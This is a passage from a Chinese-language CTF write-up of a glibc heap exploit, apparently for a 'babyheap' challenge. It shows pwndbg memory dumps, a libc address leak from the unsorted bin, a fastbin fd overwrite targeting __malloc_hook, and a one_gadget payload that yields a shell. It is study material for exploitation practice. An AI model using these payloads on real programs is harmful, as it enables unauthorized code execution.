| pwndbg> x/50gx 0x555555757000 0x555555757000: 0x0000000000000000 0x0000000000000021 0x555555757010: 0x0000000000000000 0x0000000000000000 0x555555757020: 0x0000000000000000 0x0000000000000021 0x555555757030: 0x0000000000000000 0x0000000000000000 0x555555757040: 0x0000000000000000 0x0000000000000021 0x555555757050: 0x0000000000000000 0x0000000000000000 0x555555757060: 0x0000000000000000 0x0000000000000021 0x555555757070: 0x0000000000000000 0x0000000000000000 0x555555757080: 0x0000000000000000 0x0000000000000091 0x555555757090: 0x0000000000000000 0x0000000000000000 .....(省略内容均为空) 0x555555757110: 0x0000000000000000 0x0000000000020ef1 0x555555757120: 0x0000000000000000 0x0000000000000000 .....(省略内容均为空) 0x555555757180: 0x0000000000000000 0x0000000000000000 pwndbg>
|
程序结构体未发生变化
1-8 申请新堆块 index 5
目的只是为了防止 index4 释放后与 top chunk 合并
1-9 free(index4),index4 放入 unsorted bin 中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| Free chunk (unsortedbin) | PREV_INUSE Addr: 0x555555757080 Size: 0x91 fd: 0x00 bk: 0x7ffff7dd1b78
pwndbg> x/60gx 0x555555757000 0x555555757000: 0x0000000000000000 0x0000000000000021 0x555555757010: 0x0000000000000000 0x0000000000000000 0x555555757020: 0x0000000000000000 0x0000000000000021 0x555555757030: 0x0000000000000000 0x0000000000000000 0x555555757040: 0x0000000000000000 0x0000000000000021 0x555555757050: 0x0000000000000000 0x0000000000000000 0x555555757060: 0x0000000000000000 0x0000000000000021 0x555555757070: 0x0000000000000000 0x0000000000000000 0x555555757080: 0x0000000000000000 0x0000000000000091 0x555555757090: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 .....(省略内容均为空) 0x555555757110: 0x0000000000000000 0x0000000000000090 .....(省略内容均为空) 0x5555557571a0: 0x0000000000000000 0x0000000000020e61 .....(省略内容均为空) 0x5555557571d0: 0x0000000000000000 0x0000000000000000 pwndbg>
|
当unsortedbin里只有一个空闲的chunk时,该chunk的fd和bk指针均指向unsortedbin本身,这个可以参考CTF-wiki中的内容,这里先不细说。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 0x5fcead98730: 0x0000000000000001 0x0000000000000010 0x5fcead98740: 0x0000555555757010 0x0000000000000001 0x5fcead98750: 0x0000000000000010 0x0000555555757050 0x5fcead98760: 0x0000000000000001 0x0000000000000010 0x5fcead98770: 0x0000555555757090 0x0000000000000001 0x5fcead98780: 0x0000000000000010 0x0000555555757070 0x5fcead98790: 0x0000000000000000 0x0000000000000000 0x5fcead987a0: 0x0000000000000000 0x0000000000000001 0x5fcead987b0: 0x0000000000000080 0x0000555555757120
|
1-10 计算libc基址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| ----------------------------------------------------------------------------- 还可以直接这样写 libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78 ----------------------------------------------------------------------------- 示例payload的写法:
unsorted_offset_mainarena=unsorted_offset_arena(5) unsorted_addr=u64(dump(2)[:8].strip().ljust(8, "\x00")) libc_base=unsorted_addr-0x3c4b20-unsorted_offset_mainarena log.info("libc_base: "+hex(libc_base)) def unsorted_offset_arena(idx): word_bytes = context.word_size / 8 offset = 4 offset += 4 offset += word_bytes * 10 offset += word_bytes * 2 offset += idx * 2 * word_bytes offset -= word_bytes * 2 return offset -----------------------------------------------------------------------------
|
2. 控制_malloc_hook
2-1 申请 unsorted bin 中的 chunk
由于在申请空间之前,之后unsortedbin中有空闲的空间,因此申请空间之后会使用unsortedbin中的chunk。
看一下此时的堆内存:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| pwndbg> x/60gx 0x555555757000 0x555555757000: 0x0000000000000000 0x0000000000000021 0x555555757010: 0x0000000000000000 0x0000000000000000 0x555555757020: 0x0000000000000000 0x0000000000000021 0x555555757030: 0x0000000000000000 0x0000000000000000 0x555555757040: 0x0000000000000000 0x0000000000000021 0x555555757050: 0x0000000000000000 0x0000000000000000 0x555555757060: 0x0000000000000000 0x0000000000000021 0x555555757070: 0x0000000000000000 0x0000000000000000 0x555555757080: 0x0000000000000000 0x0000000000000071 .....(省略内容均为空) 0x5555557570f0: 0x0000000000000000 0x0000000000000021 0x555555757100: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 0x555555757110: 0x0000000000000020 0x0000000000000090 .....(省略内容均为空) 0x5555557571a0: 0x0000000000000000 0x0000000000020e61 .....(省略内容均为空) 0x5555557571d0: 0x0000000000000000 0x0000000000000000 pwndbg>
|
从上面的堆情况可以看到,由于是malloc(0x60),而原unsortedbin中的chunk_size过大,因此unsortedbin中的chunk会利用并分裂成两个堆块,其中index5还是存放在unsortedbin中的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| pwndbg> bin fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all [corrupted] FD: 0x5555557570f0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x5555557570f0 BK: 0x5555557570f0 ◂— 0x90 ---------------------------------------------------------------------- 执行payload前: unsortedbin all [corrupted] FD: 0x555555757080 ◂— 0x0 BK: 0x555555757080 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757080 ---------------------------------------------------------------------- smallbins empty largebins empty pwndbg>
|
2-2 free(index4)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| pwndbg> bin fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x555555757080 ◂— 0x0 0x80: 0x0 unsortedbin (这里显示不准确) all: 0x0 smallbins empty largebins empty pwndbg>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555555757000 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x555555757020 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x555555757040 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x555555757060 Size: 0x71
Allocated chunk | PREV_INUSE Addr: 0x5555557570d0 Size: 0x21
Allocated chunk Addr: 0x5555557570f0 Size: 0x90
Allocated chunk | PREV_INUSE Addr: 0x555555757180 Size: 0x20e61 pwndbg> x/60gx 0x555555757000 0x555555757000: 0x0000000000000000 0x0000000000000021 0x555555757010: 0x0000000000000000 0x0000000000000000 0x555555757020: 0x0000000000000000 0x0000000000000021 0x555555757030: 0x0000000000000000 0x0000000000000000 0x555555757040: 0x0000000000000000 0x0000000000000021 0x555555757050: 0x0000000000000000 0x0000000000000000 0x555555757060: 0x0000000000000000 0x0000000000000021 0x555555757070: 0x0000000000000000 0x0000000000000000 0x555555757080: 0x0000000000000000 0x0000000000000071 .....(省略内容均为空) 0x5555557570f0: 0x0000000000000000 0x0000000000000021 0x555555757100: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 0x555555757110: 0x0000000000000020 0x0000000000000090 .....(省略内容均为空) 0x5555557571a0: 0x0000000000000000 0x0000000000020e61 .....(省略内容均为空) 0x5555557571d0: 0x0000000000000000 0x0000000000000000 pwndbg>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 0x5fcead98730: 0x0000000000000001 0x0000000000000010 0x5fcead98740: 0x0000555555757010 0x0000000000000001 0x5fcead98750: 0x0000000000000010 0x0000555555757050 0x5fcead98760: 0x0000000000000001 0x0000000000000010 0x5fcead98770: 0x0000555555757090 0x0000000000000001 0x5fcead98780: 0x0000000000000010 0x0000555555757070 0x5fcead98790: 0x0000000000000000 0x0000000000000000 0x5fcead987a0: 0x0000000000000000 0x0000000000000001 0x5fcead987b0: 0x0000000000000080 0x0000555555757120
|
2-3 修改index4的fd指针
1 2 3 4 5
|
payload = p64(libc_base+0x3c4aed) fill(2, payload)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| pwndbg> x/60gx 0x555555757000 0x555555757000: 0x0000000000000000 0x0000000000000021 0x555555757010: 0x0000000000000000 0x0000000000000000 0x555555757020: 0x0000000000000000 0x0000000000000021 0x555555757030: 0x0000000000000000 0x0000000000000000 0x555555757040: 0x0000000000000000 0x0000000000000021 0x555555757050: 0x0000000000000000 0x0000000000000000 0x555555757060: 0x0000000000000000 0x0000000000000021 0x555555757070: 0x0000000000000000 0x0000000000000000 0x555555757080: 0x0000000000000000 0x0000000000000071 0x555555757090: 0x00007ffff7dd1aed 0x0000000000000000 .....(省略内容均为空) 0x5555557570f0: 0x0000000000000000 0x0000000000000021 0x555555757100: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 0x555555757110: 0x0000000000000020 0x0000000000000090 .....(省略内容均为空) 0x5555557571a0: 0x0000000000000000 0x0000000000020e61 .....(省略内容均为空) 0x5555557571d0: 0x0000000000000000 0x0000000000000000 pwndbg>
|
1 2 3 4 5 6 7 8 9 10
| pwndbg> x/16gx 0x00007ffff7dd1aed 0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f 0x7ffff7dd1afd: 0xfff7a92ea0000000 0xfff7a92a7000007f 0x7ffff7dd1b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000 0x7ffff7dd1b1d: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b2d <main_arena+13>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b3d <main_arena+29>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b4d <main_arena+45>: 0x5555757080000000 0x0000000000000055 0x7ffff7dd1b5d <main_arena+61>: 0x0000000000000000 0x0000000000000000 pwndbg>
|
2-4 控制__malloc_hook
1 2 3
| alloc(0x60) alloc(0x60)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| 0x5fcead98730: 0x0000000000000001 0x0000000000000010 0x5fcead98740: 0x0000555555757010 0x0000000000000001 0x5fcead98750: 0x0000000000000010 0x0000555555757050 0x5fcead98760: 0x0000000000000001 0x0000000000000010 0x5fcead98770: 0x0000555555757090 0x0000000000000001 0x5fcead98780: 0x0000000000000010 0x0000555555757070 0x5fcead98790: 0x0000000000000001 0x0000000000000060 0x5fcead987a0: 0x0000555555757090 0x0000000000000001 0x5fcead987b0: 0x0000000000000080 0x0000555555757120 0x5fcead987c0: 0x0000000000000001 0x0000000000000060 0x5fcead987d0: 0x00007ffff7dd1afd 0x0000000000000000 pwndbg>
|
2-5 写入 one_gadget 并 getshell
1 2 3 4 5 6
| payload = p8(0)*3 payload += p64(0)*2 payload += p64(libc_base+0x4527a) fill(6, payload) gdb.attach(p)
|
2-6 最后申请一个chunk
最后就能get shell 了